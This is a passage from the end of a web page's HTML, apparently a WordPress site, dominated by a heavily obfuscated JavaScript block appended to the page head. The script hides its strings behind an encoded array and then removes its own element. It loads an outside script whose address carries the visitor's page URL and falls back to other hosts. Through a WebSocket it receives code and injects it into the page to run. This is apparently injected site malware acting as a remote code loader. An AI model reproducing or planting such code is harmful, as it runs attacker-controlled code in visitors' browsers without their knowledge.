q','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x115,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script></body> </html> <!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->